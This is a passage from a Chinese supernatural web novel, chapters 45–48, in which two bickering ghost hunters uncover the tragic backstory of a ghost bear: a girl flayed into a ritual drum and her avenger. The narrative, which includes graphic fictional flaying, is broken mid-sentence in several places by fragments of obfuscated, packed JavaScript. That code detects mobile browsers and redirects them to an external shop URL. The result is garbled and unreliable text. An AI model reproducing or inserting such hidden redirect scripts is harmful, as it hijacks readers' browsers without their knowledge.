回来之后左轻白和兰殊尔谁也没理谁,都对对方捉鬼师很不满意。老冯看看两人,悄悄对旁边的同伴说:“这是吵架了,以我的经验,两人绝对有事。” 同伴无情道:“老冯你一万年单身狗还有经验呢?” “我实践不行我理论强不可以吗?” …… 晚上,大家在客厅打地铺睡觉,一群人聚在一起比单独住房间要安全。一个晚上没出什么事,风平浪静地过去了。 第二天大家才从附近村民口中听说了杀人熊的故事:原来这个地方十年前曾出现过一只杀人熊,当时杀人熊连杀两名外地骑友后销声匿迹,但因为事情已经过去了十年,而且这十年里杀人熊没有再出现过,所以这件事渐渐被人淡忘了,没想到这次杀人熊居然再度出现。 民宿被警察封锁,剧组换了住宿的地方,入住到附近的酒店。 戏还是得拍的,投资方投钱了都。 左轻白的注意力始终集中在对面的山头上,但兰殊尔拦着她不让她去,兰殊尔说要冷静分析,左轻白说分析个啥啊冲上去咔咔就是干。 等兰殊尔终于分析完毕后,这两个毫无默契的“搭档”终于在某天晚上大家都睡着了的时候出门了。 出门时左轻白吐槽道:“我就说应该早点出门,这个时候才出门,留给我们的时间不多了。” 兰殊尔依然保持一副扑克脸,说:“这个时辰最好,早了晚了都不行。” “好在哪?”左轻白问。 “对面山头有一个障眼法阵,这个时辰是障眼法阵最弱的时候,也就是我们最容易突破它的时候,你真的是捉鬼师吗?没看出来?” “我当然看出前面山头有障眼法阵,但我懒得考虑哪个时辰阵法最弱,管它弱还是强,咔咔闯进去就是了。” “这样不好,鲁莽。” “咱俩不是一个地方的捉鬼师,你学的跟我学的不一样,哪有绝对的好坏之分?对了,我一直没问,你怎么看出来我是捉鬼师的?” “记者采访的时候你跟他们谈鬼,我就猜到你是。” “这样啊……” 两人有一句没一句地说话,很快来到了对面山头,对面山头光秃秃的,一棵树也没有。 藏区的山大多都是这样光秃秃的,没有树木,因为这里气温很低,无法提供树木生长所需的热量,所以长不了树。有些地方政府甚至出台政策,种活一棵树奖励30万元。 正如兰殊尔所说,此时正是障眼法阵最弱的时候,兰殊尔轻而易举找到了障眼法阵的“眼”,两人从“眼”走进了法阵。 “昨天晚上我看到那些喇嘛的时间,应该跟现在的时间是一致的。”左轻白说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037197|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 两人一走进去就闻到了森森的鬼气。正前方,昨天晚上左轻白看到的那些会发光的喇嘛向两人走来。 他们总共有四个人,整整齐齐按高矮顺序排成一列,个个身穿喇嘛的僧衣,戴着喇嘛的法帽,脸无血色,面如枯槁,正机械又麻木地绕圈走。 “他们一直在这里绕圈走,白天走,晚上走,因为有障眼法阵,所以没人能看到他们。”兰殊尔严肃地说,“昨天晚上你之所以能看见他们,是因为昨晚那个时辰正好是障眼法阵最弱的时候,加上你又是捉鬼师,洞察力比普通人强,所以才会看到。” “受宠若惊啊。”左轻白幽幽地说,“难得你承认我是捉鬼师,说我洞察力比普通人强。” 这四个喇嘛的脸虽然死气沉沉,但却是会变化的,走前半圈时,他们的脸从稚嫩渐渐变成老得快要死掉的样子,走后半圈时,他们的脸又以老得快要死掉为起点逆生长,一路返老还童,变得年轻稚嫩。 前半圈向死,后半圈向生。 “这是群什么东西?”左轻白问。 “你不知道?” “我当然知道,考考你而已。” “不知道就直说,不用逞强,我不会瞧不起你。”兰殊尔的语气一如既往的冷冷冰冰。 左轻白气得脱口而出:“这是尸人嘛!谁不知道!” 尸人,它的制作过程跟埃及木乃伊的制作过程有些相似,把人的内脏全部掏出,用钩子从鼻孔伸入脑骨,把大脑掏出,最后把剩下的身体脱水处理,保持干燥。藏区一年四季都非常干燥,把牛肉挂在房梁上无需额外处理就能变成风干牛肉,所以制作尸人的最后一步在藏区格外简单。 尸人跟木乃伊的不同之处在于,木乃伊已经死了,尸人是活着的——在法医眼里当然不会是活物,但在捉鬼师眼里它还真算是活的,因为它的魂魄被一种咒语锁在身体里了,没有飞走,凡是魂魄没走的,捉鬼师就会把它当成活的。 左轻白叹了口气,说:“真受罪啊,我帮他们把魂魄放了吧。” 左轻白取了四张空白的符纸出来,在符纸上画了放魂符。然而就在左轻白准备把那四张符纸贴到四个尸人脑袋上时,突然一个黑乎乎的庞然大物不知从哪扑了过来,咆哮着把左轻白手中的符纸叼走,搅碎吞进肚子里去了。 周围刮起一阵阴风,左轻白被鬼气笼罩。来的是昨晚那只鬼熊。 “好啊,还想找你呢,你自己出来了,杀人熊!”左轻白甩出100张符纸,符纸自动折成小刀的形状,左轻白口中念念有词,控制符纸飞向鬼熊,刀尖直指鬼熊的眼睛。 鬼熊刚想后退,兰殊尔已经来到了它身后,兰殊尔不知从哪变出一根钢刺,他用尖锐处刺向鬼熊的后背,兰殊尔习惯于做好充足的准备才出手,所以早就算好了鬼熊的穴位,按照穴位去刺。 鬼熊背后吃痛,同时,它的眼睛被左轻白飞来的符纸刺中,鬼熊发出一声嚎叫,突然间天崩地裂,鬼熊脚下的地面塌陷下去,鬼熊拉着左轻白和兰殊尔陷入深渊。 45. 不会说谎 黑暗中,兰殊尔拉住了左轻白的手。 “抓紧我!”兰殊尔大声说。 兰殊尔能在黑暗中辨别方向,他一边拉着左轻白,一边精准地找到鬼熊的头顶。 兰殊尔拿出他的钢刺,尖锐的那一段对准鬼熊的头顶。 “这鬼熊执念太深,不好对付,必须进入它的执念世界,去探个究竟。”兰殊尔说。 左轻白说:“我知道。哎,它肚子里有个法器你发现了吧?执念世界就聚在那里,咱们进去瞧瞧。” 兰殊尔没听懂,问:“进哪?” “进这只熊的肚子里。”左轻白说。 兰殊尔:“……” 左轻白接着道:“你用手里的钢刺刺它一下,等它痛得张嘴大叫的时候咱俩从它嘴里钻进去。” 兰殊尔:“……” 左轻白:“你怎么不说话?” 兰殊尔冷道:“你想让我说什么?这什么馊主意?别这么鲁莽。” 左轻白伸手去抢兰殊尔手里的钢刺,边抢边说:“只要能办成事,鲁不鲁莽不重要,你手里那玩意给我拿过来……” 左轻白伸手抢,兰殊尔连忙躲,两人争抢时,突然兰殊尔手里的钢刺垂直落了下去,而那只鬼熊,就在他俩下方。 于是钢刺正中鬼熊脑袋中央,深深扎进去好大一截,鬼熊发出“嗷呜”一声嚎叫,它力大无穷,这一嚎,四周立即聚起了龙卷风,左轻白和兰殊尔被狂风卷起,吸入鬼熊嘴里,被它吞进肚子。 左轻白在鬼熊的肚子里看到了那个正在发光的法器,法器是一个敲鼓用的鼓槌。 鼓槌很有灵性,它身上的光越来越强烈、越来越刺眼,最后幻化成一片白光,白光把左轻白重重包裹,左轻白消失在这片白光之中。 左轻白两眼一睁,发现自己正坐在草地上,头顶是蓝天白云,远处是一片牛羊。 左轻白愣了一下,马上意识到自己来到了鬼熊的执念世界,自己还成了鬼熊执念世界中的主角。 左轻白现在是个16岁的藏族小姑娘,穿着厚厚的藏袍,只穿了一只袖子,另一只袖子空着。 藏区早晚温差很大,所以当地的传统服饰有其特殊的穿法——冷的时候两只袖子都穿上,热的时候两只袖子都脱掉,不冷不热的时候只穿一只袖子。 左轻白发现自己的世界是安静的,她听不到周围的声音。左轻白试图张嘴说话,发现自己居然说不出话。也就是说,现在的左轻白是个哑巴加聋子。 左轻白很惊恐,这种变化让她很没有安全感。 左轻白按照这具身体的记忆往家里走去,她远远看到了一行喇嘛,总共四个人,从自己家里走出来,自己的父母对他们十分恭敬。 四个喇嘛也看到了左轻白,他们用一种打量的目光看着她,露出满意的表情,不住点头。 左轻白忽然毛骨悚然。左轻白开始怀疑自己的聋跟哑不是天生的,而是后天造成的。 左轻白早就听说过藏区在解放前有一种祭祀传统,他们从小选中某个小女孩,把她的舌头割掉、耳膜刺破,好让她说不了谎话、听不到脏话,以保证她在成长过程中绝对纯洁。等女孩长到一定年纪,就把女孩的皮剥下来,做成鼓的鼓面,还把女孩的腿骨抽出来,制成鼓槌。剥皮的过程极其残忍,他们会在女孩的头顶凿一个小洞,从小洞中灌入水银,水银在向下流的过程中把皮肉分离。为了保证皮的新鲜,剥皮的过程必须在女孩活着的时候完成。 左轻白曾在某博物馆亲眼目睹过人皮鼓的真面目,当时一群游客听着讲解员的解说,没有不全身发寒的。那时候左轻白站在博物馆里久久移不开脚步,她心想这世界上原来不止鬼会剥皮,人也会剥。也是,鬼都是人变的,鬼的那些技能不都是在做人的时候就学会了的么? 左轻白观察那四个喇嘛和自己父母的表情,心想大概过不了多久,自己就要被送上祭祀台了。 左轻白在执念世界里的名字叫拉姆,拉姆在藏语里是仙女的意思,是很常见的一个藏族名字。 一天,左轻白正在剪羊毛、梳羊绒,或许是太累了,她干着干着活就睡着了。睡醒的时候,左轻白惊讶地发现,羊毛全剪完了,羊绒也全梳完了。 左轻白想问是谁帮她干的活,可她说不了话,只能“啊,啊”地叫了两声。 第二天,左轻白开始捻羊毛,就是将羊毛捻成线,捻成线后就可以织衣服。今天的太阳太暖和了,照在人身上很舒服,左轻白偷了个懒,打了个盹,又睡着了。 等左轻白睡醒时,她发现今天需要捻的羊毛居然全都完工了。左轻白不可置信地揉了揉眼睛,心想自己这是碰见神仙了吗? 第三天,左轻白去放羊,中途有两只小羊走丢了,左轻白一数,发现数不对,急得团团转,连忙去找,找了半天都没找到。就在左轻白气馁地回来时,她惊喜地发现,走丢的那两只小羊不知道被谁抱回来了。 左轻白心想一定有人在帮自己,自己要把那位恩人找出来。 到了第四天,左轻白背着背篓去捡牛粪。藏区没有柴,牛粪在藏区是很重要的燃料,因为天气极其干燥的缘故,这里的这玩意是干的,不臭。 左轻白捡着捡着,假装累了,坐在一旁的石头上呼呼大睡,当然,她是装睡。 左轻白的眼睛悄悄打开一条缝,她果然看到一个穿着藏服的男孩在帮她捡牛粪,男孩干活的速度非常快,很快就把左轻白的背篓装满了。 男孩背对着左轻白,没发现左轻白已经睁开了眼睛。左轻白站起来,蹑手蹑脚地走近男孩,轻轻地拍了拍男孩的肩膀。 男孩被吓了一跳,他连忙转过身,发现“拉姆”醒了,男孩十分不好意思。 左轻白这才发现,男孩居然是兰殊尔。左轻白差点笑出声来,但一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042545|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神奇的力量制止住了她,左轻白的情绪从想笑变成了感激,符合故事主人公的心理活动。 进入执念世界的人都会安排一个角色来体验执念,左轻白被安排了女主角的角色,那么兰殊尔就会被安排男主角的角色,这很正常。 但左轻白就是想笑。 左轻白笑了起来,那笑容干净得像天山上的雪。 这个藏族男孩叫多杰,跟拉姆青梅竹马。 多杰会手语,他用手语跟左轻白交谈起来。 “我找到了神仙泉,你要不要跟我去看?”多杰打着手语说。 “我要干活。”左轻白打着手语回答。 “我帮你干活,一会就干完了。”多杰急着打手语。 “好。”左轻白用手语答应道。 多杰露出淳朴的笑容,高兴地拉着左轻白的衣袖往山里跑去。 多杰带着左轻白来到一个野生温泉,多杰口中的“神仙泉”就是藏区的野生温泉。 这里环境优美,蓝天白云,四周有高耸入云的雪山,神圣不可侵犯。左轻白脱掉鞋袜,把脚放入温泉中,心想一边赏雪山一边泡温泉,真享受啊。 左轻白拉了拉一旁的多杰,让他跟自己一起泡。多杰也脱掉了鞋袜,把脚放入温泉。 多杰打着手语对左轻白说:“我看见喇嘛来你家了。” 左轻白打着手语回答道:“是啊,我可能陪不了你多久了。”左轻白一直在笑。不出意外,七天之后就是祭祀的日子,到那时左轻白就会被做成鼓。 多杰连忙打手势:“你别急,我去找过喇嘛,喇嘛告诉我,只要我能取到神熊的心头血,喇嘛就会制造新的法器,不造鼓了。” 左轻白打着手语问:“真的吗?”如果是这样,那是不是意味着自己不用死了? 附近的山里住着一头巨大无比的熊,因为这头熊比普通的熊大得多,所以村民们都认为它不是普通的熊,而是天神下凡,称呼它为“神熊”。神熊的心头血,听上去是个好东西。 多杰肯定地用手语回答:“当然,喇嘛答应过我的,喇嘛不会说谎。我明天就进山杀熊。” 左轻白很担心,“别去,太危险。” 多杰想了想,小心翼翼地用手语道:“你要是能让我牵一下手,我就什么危险都不怕。” 左轻白笑了,她的手主动移向多杰,坚定不移地握住了多杰的手。 多杰激动得差点跳到天上去。 多杰很兴奋,他兴奋地向雪山说了一句话,并虔诚地双手合十,向雪山许下一个愿望。他这次只说话,没打手语,左轻白听不到他说了什么。 多杰说的是:多杰和拉姆永远在一起。 多么美好的愿望。 第二天,多杰义无反顾地进了山,他要去找那只神熊,喇嘛答应过他,只要取到神熊的心头血,就不会把拉姆制成鼓,喇嘛不会说谎。 46. 罪无可恕 多杰在山里呆了六天,第六天晚上的时候,满身是伤的多杰从山里出来了。 多杰是位勇士,他成功杀了神熊,他用他的藏刀刺入了神熊的心脏。 多杰把神熊的心头血灌入水壶中,灌了满满一壶,又把神熊的皮剥了下来。勇士多杰就这样挎着水壶、背着熊皮从山里走了出来。心头血多杰要交给喇嘛,熊皮多杰准备留给拉姆做衣服。 明天就是祭祀的日子,喇嘛告诉多杰,只要他在明天太阳升起之前到达祭祀台,拉姆就不会被制成鼓。 现在是晚上,离太阳升起还有好几个小时,多杰的时间还很充裕。 当多杰挎着水壶、背着熊皮走到祭祀台时,却看到祭祀台上,一面大鼓在火把的簇拥下赫然而立,喇嘛拿着鼓槌正在击鼓,一群人跟随着击鼓的节奏跳起祭祀的舞蹈。 多杰脸都白了,抓起一个跳舞的人就问:“拉姆呢?” 跳舞的人没有理他。 多杰又抓另一个人来问,另一个人也没有理他。 多杰感到一阵眩晕,直觉告诉他,台上那面鼓,就是拉姆,那个鼓槌,就是拉姆的腿骨。 多杰冲上台,冲到喇嘛面前,大声质问:“拉姆呢!” 祭祀瞬间停止,所有人阴沉着脸愤怒地看向多杰。 打断祭祀,不敬神明,罪无可恕,必死无疑。 在这个世界中,虚无缥缈的神比实实在在的人重要得多。 多杰不管这么多,他红着眼,大声问喇嘛:“你答应过我,只要我在明天的太阳升起之前到达祭祀台,把神熊的心头血交给你,拉姆就不会……就不会……” 喇嘛朝多杰露出微笑,问:“多杰勇士,你拿到神熊的心头血了吗?” “我拿到了。” “那太好了,快给我。” “你把拉姆还给我!” “拉姆已经到神明身边了。” “你为什么骗我?你为什么不遵守约定?” “我没有骗你。” “你怎么没有骗我?你说在明天的太阳升起之前……” “可太阳不是已经升起来了吗?”喇嘛打断多杰,笑眯眯道:“所以我没有骗你啊。” 多杰看了看天空,一片黑暗,现在明明就是晚上。 多杰咬牙切齿道:“太阳在哪里?” 喇嘛面带微笑,向多杰解释:“太阳一直都在,你看不到,神明看得到。” “你耍我!” 多杰挥拳,打向喇嘛,喇嘛应声倒地,然而下一秒,那些在台下跳舞的人全部冲上了台。 多杰为了杀熊耗尽了所有力气,再加上寡不敌众,很快就被牢牢制住。 多杰打断祭祀,还在祭祀台上打了喇嘛,这是死罪。 喇嘛长叹一声,一边收走了多杰用命换来的心头血和熊皮,一边可惜道:“他触怒神明,把他的皮也剥了吧。” 一群人制住多杰,多杰被五花大绑,动弹不得。喇嘛像抱宝贝一样抱着多杰带回来的心头血和熊皮,微笑地看着眼前这一切。 这些人用对待拉姆的方式对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050630|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待多杰,他们在多杰的脑袋上凿出一个小洞,往小洞里灌水银,水银往向下流,使皮肉分离。很快,活生生的一张人皮就蜕了下来。 多杰的人皮跟拉姆的人皮待遇不同,多杰的皮不纯洁,不配被制成鼓,所以最后被烧了。 神熊的心头血被喇嘛分而食之,那张熊皮被当成宝物就挂在祭祀台上。 多杰的怨念变成了鬼,但由于祭祀台上放着各式各样厉害的法器,这些法器把多杰的鬼魂锁在祭祀台上,所以多杰一直都走不掉。 直到有一天,藏区解.放,祭祀台被砸了,多杰才重获自由。 多杰的人皮早就被烧毁,他变成鬼后找不到自己的皮,只能穿了那张熊皮。 于是在某天晚上,祭祀台上那张熊皮动了,熊皮自己走下了祭祀台。 由于这段时间发生了很多事情,用拉姆人皮做的那张人皮鼓早就被运走了,不知流落到了哪里,多杰只找到了一把鼓槌,这把鼓槌是用拉姆的腿骨做的,多杰把它小心翼翼地藏在肚子里。 多杰找到了把拉姆制成鼓的主使者——去过拉姆家里的四个喇嘛。多杰觉得让这四个喇嘛轻轻松松死掉惩罚太轻,所以把他们做成了尸人,在障眼法阵中不停地绕圈。这绕圈是有说法的,每绕一圈就是为拉姆超度一次,拉姆的来生就会幸福。 多杰一直想找到那张用拉姆皮肤做的人皮鼓,他想和拉姆团聚,可他披着熊皮出行不方便,加上没上过学,不认识汉字,还不会说普通话,想要找一面不知道流落去了哪里的鼓,实在困难。 47. 骇人听闻的假设 一片白光突然笼罩住执念世界,将世界吞噬。 左轻白和兰殊尔回到了现实世界,跌落在一个巨大的山洞中。 “轰隆”一声巨响,那只巨熊也跌落到了山洞里。 巨熊的眼睛被左轻白的符纸戳瞎,它看不见了,捂着眼睛发出痛苦的嚎叫。 左轻白拿出自己的金色巨剑,巨剑幻化成一阵金沙,金沙变成一个巨大的金色牢笼,牢笼把巨熊牢牢困住。 兰殊尔不甘示弱,他的武器——那根钢刺重新回到了他的手中,钢刺在他手里变化形态,变成一把银色的手.枪,兰殊尔举着手.枪朝巨熊胸口开了一枪,银色子弹射向巨熊。 关键时刻,左轻白掏出一枚符纸,掷向子弹,符纸与子弹在空中相撞,一起灰飞烟灭。 “你为什么阻止我杀它?”兰殊尔问左轻白,“它的执念世界刚刚被我们闯进去,所以它现在很虚弱,现在是杀它的最好时机。” “就是因为我进过它的执念世界,看过它的故事,才觉得它不能杀,至少现在不能杀。”左轻白说。 兰殊尔冷道:“怎么?难道你看了一段小年轻的爱情故事就心软了?妇人之仁!” 左轻白被兰殊尔气得咬牙切齿,指着他骂道:“我妇人之仁?你冷血无情,不配做人啊!” “你……” 这两人一个比一个骂得狠,互相都看不惯对方。 兰殊尔又朝笼子里的巨熊射出一枚子弹,关键时刻又是左轻白掏出一枚符纸,符纸像防弹衣一样包裹住笼子,挡住了兰殊尔的子弹。 “你想怎么样?这是一只杀了七个人的鬼熊!” “七个人?你是把那四个喇嘛也算进去了?那四个喇嘛杀害拉姆,不该死么?”左轻白对兰殊尔说,“另外的三个人确实很无辜,但你看过多杰的执念世界,你觉得多杰那样的人……不,多杰那样的鬼,它会去滥杀无辜吗?” “怎么不会?”兰殊尔冷冷地说,“所有的鬼都会害人,没有例外。” 左轻白急道:“这么多年了,它作为一只鬼,连人皮都不忍心剥一张,一直都披着熊皮,这还不能说明它跟别的鬼不一样吗?” “所以你到底想怎么样?” “帮它了了执念。” “你想帮它找用拉姆的皮肤做的那张人皮鼓?” “收藏了人皮鼓的博物馆就那么几家,多杰找不到,可能是因为它披着熊皮不方便坐火车,而我一个活生生的人,跑几个博物馆找张鼓还不简单?” 兰殊尔盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064867|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着左轻白看,左轻白也盯着兰殊尔看,谁也不让谁。 最终兰殊尔先把目光移开。兰殊尔问左轻白:“你一心想帮它,但那三个无辜的人的仇谁来报?” 村民说,巨熊在十年前杀了两个骑行的外地人,再加上今年的小张,巨熊一共杀了三个人。 左轻白说:“我觉得十年前那两个骑行者,以及剧组的小张,都不是多杰杀的。” 兰殊尔摇摇头,对左轻白的话表示不认同。兰殊尔说:“十年前那两个骑行者,因为过去太久,不清楚当时的情况,我不好发表意见,但小张的死亡现场你我都看过,房间里充满鬼气,那些鬼气就是多杰的鬼气;而且小张的内脏被掏了,四周都找不到残渣,说明小张的内脏是被当场吃掉了,什么东西喜欢吃新鲜内脏?熊。” 左轻白却皱着眉,做出了一种骇人听闻的假设:“熊喜欢吃新鲜内脏不假,但能吃内脏的,又不只有熊,还有……人。” 兰殊尔那张万年冰山脸像裂开了一样,用一种惊恐的眼神看向左轻白。 左轻白说:“熊是杂食动物,人……也是。” 左轻白看向兰殊尔,说:“如果就这样随随便便把杀死三个无辜的人的罪行扣到多杰头上,那真凶不就逍遥法外了吗?” 48. 那玩意叫单反 兰殊尔犹豫地把手.枪收了起来。 左轻白走到锁着巨熊的笼子前。 多杰不会说汉语,左轻白不会说藏语,但没关系,他们都会同一种语言,那就是鬼的语言,俗称鬼话。所以,鬼话连篇很有可能是用来形容捉鬼师的。 左轻白用鬼话问多杰:“昨天晚上你有没有杀人?” 多杰回答:“没有,从头到尾我杀过的人只有那四个喇嘛,他们该死。” “可你昨晚去死者的房间了,你去那里干什么?” “你是什么人?我为什么要回答你的问题?” “我是捉鬼师。”左轻白说。左轻白指了指兰殊尔,道:“他也是。” 多杰用疑惑的语气说:“什么是捉鬼师?我看你们本事不小,手里还拿着法器,还以为你们也是喇嘛,但看你们的穿着,又觉得不像。” 这个世界的捉鬼师从500年前开始断代,多杰是在藏区解放前后变成鬼的,而藏区解放也才几十年的时间,所以多杰不知道捉鬼师很正常,在他的认知中喇嘛最厉害。 “跟你解释起来很复杂。”左轻白说,“但我看过你的执念世界,我知道你想找什么,你想找拉姆,对不对?” 多杰激动得“哐哐”撞笼子,他的熊眼瞎了,分不清楚方向,在笼子里乱七八糟地撞。多杰发出“嗷”的一声嚎叫,他披了那么多年熊皮,早已习惯了当一只熊。 多杰激动道:“你们能找到拉姆?” “能。只要你配合我们找出昨晚凶杀案的真相,我发誓,一定帮你找到拉姆。”左轻白做了个发誓的动作,尽管多杰看不到。 然而多杰冷静了下来,摇着他那熊脑袋说:“不,你们骗我。喇嘛骗我,你们也骗我。” “我们不会撒谎。”左轻白说。 “当年喇嘛也说他不撒谎。”多杰道。 多杰被喇嘛骗过,喇嘛骗多杰只要他取到神熊的心头血,就不会杀拉姆,可当多杰把神熊的心头血取到时,拉姆早就被杀了,所以现在多杰不相信人。 “你要怎么样才能信我?”左轻白问。 “你先把我的眼睛治好。”多杰平静地说。 左轻白口中念念有词,她手里出现了一支画笔,兰殊尔知道她要干什么,用汉语对她说:“鬼很狡猾,熊也很狡猾,他现在既是鬼,又是熊,小心他诓你。” 左轻白无所谓地一摊手,开玩笑道:“万一正正得负呢?” 兰殊尔愣了一下,才反应过来左轻白在说什么。冰山脸被左轻白逗笑了,说道:“你欺负人家听不懂汉语?” “哪有?” 多杰的一双熊眼被左轻白用符纸戳坏了,于是左轻白用画笔给他重新画了一双。 多杰重见光明后,左轻白用鬼话问他:“现在可以相信我了吗?” 多杰却道:“我必须亲眼看见拉姆,才能信你。” “不,你先告诉我昨晚凶杀案的真相,我再带你去找拉姆。”左轻白循循诱导。 多杰坚决道:“不,你先让我看到拉姆——现在就让我看到,我再告诉你昨晚的真相。” 左轻白瞠目结舌,她转头用汉语向兰殊尔吐槽:“原来不是正正得负啊?” 兰殊尔想笑又忍着笑,说道:“本来就不是正正得负,数学体育老师教的?” “我数学是玄逸教的,他的问题。” 左轻白为难地用鬼话跟多杰沟通:“拉姆不在这里,拉姆在很远的地方,你让我怎么现在就让你看到她?” 多杰说:“你们不是人手一个会发光的法器吗?那个法器里能看到很多东西的画像,哪怕东西不在身边。你应该也有那个法器,你用那个法器给我看拉姆的画像就行。” 左轻白跟兰殊尔面面相觑,多杰在说什么? 兰殊尔从口袋中掏出手机,问多杰:“你说的是这玩意?” “是。”多杰回答。 原来多杰说的“法器”就是手机,“画像”是手机里的照片。多杰出生于解放前,不是新时代的人,加之多杰没有披人皮,而是长年累月地披着熊皮躲在山里,导致多杰没能像蓝双等其他鬼那样融入新社会,所以多杰不知道手机是什么原理,还以为是某种法器。 多杰说:“你只要让我看到画像,通过画像我能认出是不是拉姆。” 也就是说只要让多杰看到人皮鼓的照片,多杰就能认出是不是用拉姆皮肤做的那面。 兰殊尔用汉语问左轻白:“你真有照片?” 左轻白用汉语答道:“没有,但我有办法。藏区解放后,这些东西都进了博物馆,我们可以上博物馆的官网,现在是数字化时代了,博物馆的每件文物都能在官网上找到照片,人皮鼓也能,找到照片给他看就行。” “他要找的是用拉姆皮肤制成的那面鼓,其他鼓不要。” “都在博物馆里,总有一个是。” “那么多家博物馆,那么多官网,一个一个看?” 左轻白“啧”了一声,“有人皮鼓的藏馆全国就只有几家而已,我们只要看那几家的官网就行了,哪用得着全看?”说完左轻白还吐槽了一句:“真笨。还捉鬼师呢?还是考过试的呢!愣着干什么?赶紧找。” 左轻白是个记仇的人,之前兰殊尔说她当捉鬼师不合格,被她逮着机会当然要说回去。 左轻白跟兰殊尔一起翻有人皮鼓的那几个博物馆的官网。 “这个是不是?”左轻白找到了一张照片,举起手机给多杰看。 多杰摇头。 “这个呢?” 多杰摇头。 “这个?” 多杰还是摇头。 左轻白汗流浃背。左轻白觉得这些鼓都长一个样,可多杰就是能认出它们不是自己要找的那一面。 多杰很明显已经不耐烦了,他开始怀疑左轻白和兰殊尔在骗他,就像当年喇嘛诓他那样。多杰的一双熊眼恶狠狠地盯着左轻白和兰殊尔,逐渐暴躁。 突然,兰殊尔把手机屏幕举在多杰面前,给多杰看他最新找到的一张照片,多杰当场愣住不动了。 多杰的眼睛一眨不眨地盯着兰殊尔的手机屏幕看,他看了许久许久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064868|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,突然从他的眼眶中流出了眼泪。 多杰的眼泪不停地在流,左轻白和兰殊尔都感受到了多杰身上浓浓的哀伤。哀伤如洪水,席卷整个山洞。 兰殊尔给多杰看的是目前收藏于星洲市一家私人博物馆的人皮鼓照片,照片下附有这件文物的简介,简介上说鼓面由少女的人皮制成,但并没有写这名少女的名字。 或许早就没有人记得这名少女的名字,只有多杰记得。也只有多杰能认出她。 多杰的大熊掌抓住牢笼,撕心裂肺地吼道:“带我去找她!” 左轻白说:“你告诉我昨晚上凶杀案的真相,我就带你去找她。” 多杰巨大的熊身跪了下来。 “我告诉你。”多杰流着泪说,“我什么都告诉你。” 多杰坐在笼子里,他把自己缩小了好几圈,缩成一个玩偶熊的大小。熊这玩意特别有意思,体型大的时候很恐怖,但只要一变小就很可爱。 多杰向左轻白和兰殊尔说起了昨天晚上他看到的事。 “昨天白天的时候,有一个人走到我住的山上来,就是昨晚死在房间里的那个人。”多杰说。 左轻白问兰殊尔:“小张白天出去干什么?” 兰殊尔说:“张维为是摄影助理,他白天要出去勘景。” 勘景是影视行业中的专业术语,就是在正式开拍前外出考察景色是否符合拍摄要求。 左轻白点了点头。 多杰道:“他手里拿着一个黑乎乎的法器,冲着我施法。” 左轻白想了想,问兰殊尔:“小张手里拿的应该是他的单反吧?” “是。”兰殊尔点头道。 张维为拿着单反出去边勘景边拍照,多杰不知道单反是什么,以为张维为在施法。 多杰说:“我担心他是坏人,想弄清楚他手中的法器是什么,就在晚上偷偷潜入他住的地方。” 张维为住的地方,也就是民宿。 多杰继续说:“这些年变化很大,现在的人住的房子跟我们以前住的房子很不一样。我找到了白天那人的房间,在他快睡觉的时候敲了敲他的门。” 左轻白托着腮道:“你还敲门啊,真有礼貌。” “我有礼貌,但他没礼貌,他没给我开门。”多杰认真道。 左轻白扶额,“他那不是没礼貌,他那是不敢。” 